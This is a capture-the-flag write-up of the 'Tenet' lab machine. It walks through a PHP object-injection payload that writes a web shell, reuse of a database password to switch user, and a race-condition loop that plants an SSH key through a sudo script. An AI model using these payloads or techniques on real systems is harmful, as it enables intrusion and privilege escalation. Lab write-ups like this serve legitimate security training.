Hello there my friends! My name is Dot. And I am here, to tell you, how I solved the Tenet machine, which I really liked. To get the first shell as www-data we will have to exploit a PHP object injection vulnerability, from there we will have to find some credentials to log in as Neil. And as last, to get the root, we will have to exploit a script that we can execute with sudo perms without password. So lets start :)



nmap shows only SSH (TCP 22) and HTTP (80 TCP) open:

root@kali:~# nmap -p- -T5 -vv -o fullports.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-23 10:14 CET
Nmap scan report for tenet.htb (
Host is up (0.14s latency).
Not shown: 65510 closed ports
22/tcp    open     ssh
80/tcp    open     http

Nmap done: 1 IP address (1 host up) scanned in 160.67 seconds

root@kali:~# nmap -p22,80 -sC -sV -T5 -o ports.txt
Starting Nmap 7.80 ( https://nmap.org ) at 2021-01-23 10:21 CET
Nmap scan report for tenet.htb (
Host is up (0.24s latency).

22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 cc:ca:43:d4:4c:e7:4e:bf:26:f4:27:ea:b8:75:a8:f8 (RSA)
|   256 85:f3:ac:ba:1a:6a:03:59:e2:7e:86:47:e7:3e:3c:00 (ECDSA)
|_  256 e7:e9:9a:dd:c3:4a:2f:7a:e1:e0:5d:a2:b0:ca:44:a8 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-generator: WordPress 5.6
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Tenet
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.10 seconds


As usual, I ran a dirsearch, with all extensions by default, although I edited the files and added more extensions. To add more extensions by default, simply edit the file dirsearch/lib/core/core/ArgumentParser.py and add all the extensions you want with the following format "ext1,ext2,...extn" without spaces. These are the extensions that I have added. ",,php,asp,aspx,jsp,js,html,do,action,txt,sh,db,py,pdf,phtml,bak" My configuration file looks like this:

root@kali:~# dirsearch -u "" -E -r -R3 -t400

403   277B
301   316B
200    11KB
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
403   277B
200    11KB
403   277B
403   277B
200     8B

As we can see there are many directories which we have a 403 and coincidentally all start something like .ht... This is due to the policies they have defined in the apache2.conf file. That more or less say something like "All requests to files starting with .ht return a 403" and even if that file does not exist a 403 will be returned. Therefore to focus better on the directories from now on I will omit these directories. So these are the directories that are currently important

root@kali:~# cat directorios.txt | grep -v 277

301   316B
200    11KB
200    11KB
200     8B

If we visit index.html we see that it is the default apache installation page. With a curl to users.txt we can see that it only says Success, that we will see later, where this file comes from.

root@kali:~# curl -ks ; echo

For now let's focus on the wordpress directory. If we enter, we can see a broken page of wordpress. What I always do here and I recommend to you, is to look at the source code of the page and look at the links, because most of the time, they will point to the hostname. Which in this case, we can see that it is tenet.htb

So lets add tenet.htb to our /etc/hosts and let's enter in it. Mmmm here is something strange, when we enter through the hostname we are directly in the wordpress page, the default apache installation page is not there anymore. If we ran a dirsearch we can see:

root@kali:~# dirsearch -u "" -E -t400

200    10KB  http://tenet.htb:80/
301     0B   http://tenet.htb:80/index.php
200    19KB  http://tenet.htb:80/license.txt
200     7KB  http://tenet.htb:80/readme.html
301   309B   http://tenet.htb:80/wp-admin
302     0B   http://tenet.htb:80/wp-admin/
200     0B   http://tenet.htb:80/wp-config.php
409     3KB  http://tenet.htb:80/wp-admin/setup-config.php
200     1KB  http://tenet.htb:80/wp-admin/install.php
301   311B   http://tenet.htb:80/wp-content
200     0B   http://tenet.htb:80/wp-content/
200    69B   http://tenet.htb:80/wp-content/plugins/akismet/akismet.php
200   963B   http://tenet.htb:80/wp-content/uploads/
200     0B   http://tenet.htb:80/wp-includes/rss-functions.php
200     6KB  http://tenet.htb:80/wp-login.php
301   312B   http://tenet.htb:80/wp-includes
405    42B   http://tenet.htb:80/xmlrpc.php
200    48KB  http://tenet.htb:80/wp-includes/
200     0B   http://tenet.htb:80/wp-content/

The users.txt file, is also missing. So, what I thought, is that the server was organized in the following way: (Check this in Beyond root)

The thing is, that there are a couple of posts and one of them talked about migrating the server, in this same post there is a comment that is quite interesting: "did you remove the sator php file and the backup?? the migration program is incomplete! why would you do this?! -neil-"

I immediately started searching like crazy in all possible directories for the sator.php file and the backup. But nothing, I even enumerated the subdomains with wfuzz but no luck.

I was about to go to sleep. When I realized that it could be in the server root, not in the hostname. And so it was. When I put in the url and hit enter... A wonderful page appeared in front of my eyes.

So if the comment is not wrong... there should also be a backup. I tried to access sator.bak, and nothing, but then I accessed sator.php.bak... and a little message to download the file appeared. And this is where the fun part of the machine begins.

Shell as www-data

PHP Obejct Injection

Thanks to previous machines I had done I knew that there were deserialization vulnerabilities in at least three languages: Python, PHP and Java. Now, take a look at the code

Have you seen it? The unserialize function is being applied directly, without any sanitation filter, on a variable that we control (Lines 23/24). Sounds tasty, right?

To understand this part, first I have to explain some basic concepts about PHP serialization and deserialization.

Structure of a serialized data on PHP

"Data type: data" 

s:string_length: "string_content"; 
a:element_number:{elements}; //a for array
O:length_class_name:"Class_name":number_properties:{properties} //O for object

For a class called user, with 2 properties (rol and username) with the values (admin and test12). The serialized data would be:


PHP has magic methods, and, in order to exploit the deserealization in PHP we are going to abuse two of them, which are:
· __wakeup():
· __destruct():

These methods are called automatically when unserialize() is called. unserialize() takes a string (representing a serialized object) and converts it back to a PHP object. The process of unserialize(), in a few words, is as follows:

1) unserialize() creates a copy of the serialized string which specifies the class and its properties. It will look for the __wakeup() function and execute the code inside it. __wakeup() reconstructs any resources the object may have. It is used to reestablish any database connections lost during serialization and perform other reset tasks.

2) The program operates on the object and uses it to perform other actions.

3) Finally, when there are no more references to the deserialized object, __destruct() is called.

So if we look at the code again, we can see something very interesting:

 public function __destruct()
     file_put_contents(__DIR__ . '/' . $this ->user_file, $this->data);
     echo '[] Database updated <br>';
 //  echo 'Gotta get this working properly...';

As we have already seen, when unserialize finishes, it calls the __destruct() function. Which will execute the following:

file_put_contents(): Write data to a file

__DIR__ . '/' : The path to write/create the file. In this case, is pointing to the root of the server ('/')

$this->user_file: The filename. Which in this case is $user_file and is pointing to users.txt (If filename does not exist, the file is created).

$this->data: The data to write. Which is $data and is pointing to "Success"

Sooo, once I've explained this... can you imagine where this is going? Exactly, we have to create a malicious serialized string and pass it through the arepo parameter.

As we can see from the code, there is a DatabaseExport class defined, which is formed by two properties ($user_file and $data) and two methods (update_db and __destruct). Our goal, is to create a malicious serialized string of the DatabaseExport class, with the values we want, this way, when __destruct is called, it will execute file_put_contents() with the values we have defined.

If we look at the small schematic above, it would look something like this: (Please note that the numbers of the lengths may vary. So, depending on the words you specify, you will have to enter that number of characters.)

O:14:"DatabaseExport":2:{s:9:"user_file";s:8:"test.txt";s:4:"data";s:17:"this is a text :)";}

Lets, send this:

And if we enter to /test.txt... Whoala :)

It seems to work perfectly, doesn't it? Now let's try to create a php file and write a little shell. The malicious serialized string that I created for this, is:

O:14:"DatabaseExport":2:{s:9:"user_file";s:7:"dot.php";s:4:"data";s:30:"<?php system($_GET['dot']); ?>";}

Once we send it, the file will be created, and we will be able to execute commands.

Let's get our rev shell. For this I will use a bash reverse shell, thanks to the rshell tool which you can find in my GitHub.

I will then intercept a request with Burpsuite, url encode the reverse shell and send the request with the encoded rev shell.

Aaaand, we got it :)

Priv: www-data -> neil

Lets upgrade the shell:

export TERM=xterm
python3 -c 'import pty; pty.spawn("/bin/bash")'

In bash
stty raw -echo
fg + Double enter

In zsh
stty raw -echo ; fg + Double enter

If we try to read the flag user.txt as www-data, we will see that we don't have enough perms, so we must log in as neil first. The first thing that came to my mind was, that maybe the user login credentials were in the wordpress database, so I looked in the file /var/www/html/wordpress/wp-config.php for the database credentials, and bingo, there they were. neil:Opera2112

But before connecting to mysql, I tried ``su neil`` and ``Opera2112`` as password, and I was in :)

Let's grab the flag:

neil@tenet:~$ cat user.txt 

Priv neil -> root

The first thing I did was to check the permissions with sudo -l. And I noticed that there was a script, that we can execute as sudo:

Matching Defaults entries for neil on tenet:
    env_reset, mail_badpass,

User neil may run the following commands on tenet:
    (ALL : ALL) NOPASSWD: /usr/local/bin/enableSSH.sh

If we look at the permissions of that file, we can see that we can read the script. Here is the content:


checkAdded() {

	sshName=$(/bin/echo $key | /usr/bin/cut -d " " -f 3)

	if [[ ! -z $(/bin/grep $sshName /root/.ssh/authorized_keys) ]]; then

		/bin/echo "Successfully added $sshName to authorized_keys file!"


		/bin/echo "Error in adding $sshName to authorized_keys file!"



checkFile() {

	if [[ ! -s $1 ]] || [[ ! -f $1 ]]; then

		/bin/echo "Error in creating key file!"

		if [[ -f $1 ]]; then /bin/rm $1; fi

		exit 1



addKey() {

	tmpName=$(mktemp -u /tmp/ssh-XXXXXXXX)

	(umask 110; touch $tmpName)

	/bin/echo $key >>$tmpName

	checkFile $tmpName

	/bin/cat $tmpName >>/root/.ssh/authorized_keys

	/bin/rm $tmpName


key="ssh-rsa AAAAA3NzaG1yc2GAAAAGAQAAAAAAAQG+AMU8OGdqbaPP/Ls7bXOa9jNlNzNOgXiQh6ih2WOhVgGjqr2449ZtsGvSruYibxN+MQLG59VkuLNU4NNiadGry0wT7zpALGg2Gl3A0bQnN13YkL3AA8TlU/ypAuocPVZWOVmNjGlftZG9AP656hL+c9RfqvNLVcvvQvhNNbAvzaGR2XOVOVfxt+AmVLGTlSqgRXi6/NyqdzG5Nkn9L/GZGa9hcwM8+4nT43N6N31lNhx4NeGabNx33b25lqermjA+RGWMvGN8siaGskvgaSbuzaMGV9N8umLp6lNo5fqSpiGN8MQSNsXa3xXG+kplLn2W+pbzbgwTNN/w0p+Urjbl root@ubuntu"

In order to facilitate the priv escalation, I will first explain what each part of the script does, and where and how we could exploit it.

$sshName= root@ubuntu
Check that root@ubuntu is in the file, as follows: Verify that the length of the returned string is not equal to 0. If it is equal to 0 it means that grep has not found anything, so root@ubuntu does not exist.

Check that the argument it receives is a file and is not empty OR that the file we pass it is not a regular file.


  1. Create the variable $tmpName, which stores a temporary directory.
  2. Then assign it rw permissions for everyone, and writes the id_rsa.pub in the file.
  3. Next, calls checkFile on this temporary file. And if it passes the checks of checkFile(), put the content of this temporary file in the authorized_keys of the root.
  4. Finally delete the temporary file

As we can see, it uses absolute routes, which means that we could not do PATH hijacking. The first thing that came to my mind, was to try to be faster than the script, at the time of putting the content of the temporary file, in the authorized_keys of the root.

For this, I made a while True loop, in which as soon as a file starting with ssh-XXXXXXXX is created, where X can be any letter or number, my private id_rsa will be added to that file. This is the script I have created in order to achieve it.


while true; do

	file=$(ls /tmp/| grep ssh-)
	echo "Your id_rsa.pub" 2>/dev/null >> "$file"

But to get our script to run correctly, we need to run the sudo /usr/local/bin/enableSSH.sh script while running our script. So, how can we run both at the same time?. Very simple, we can log in via SSH with neil's credentials, or run ./script & (to leave it in the background) and then run sudo /usr/local/bin/enableSSH.sh

We may have to run sudo /usr/local/bin/enableSSH.sh more than one time, to get the script to execute successfully.

And we can grab the flag:

root@tenet:~# cat root.txt 

Beyond root

If we check the /etc/apache2/sites-enabled/tenet.htb.conf file, we can see that we were right, since, as we can see, the root of tenet.htb is set in /var/www/html/wordpress

root@tenet:/var/www/html# cat /etc/apache2/sites-enabled/tenet.htb.conf 
<VirtualHost *:80>

	ServerAdmin webmaster@tenet.htb
	ServerName tenet.htb
	ServerAlias www.tenet.htb
	DocumentRoot /var/www/html/wordpress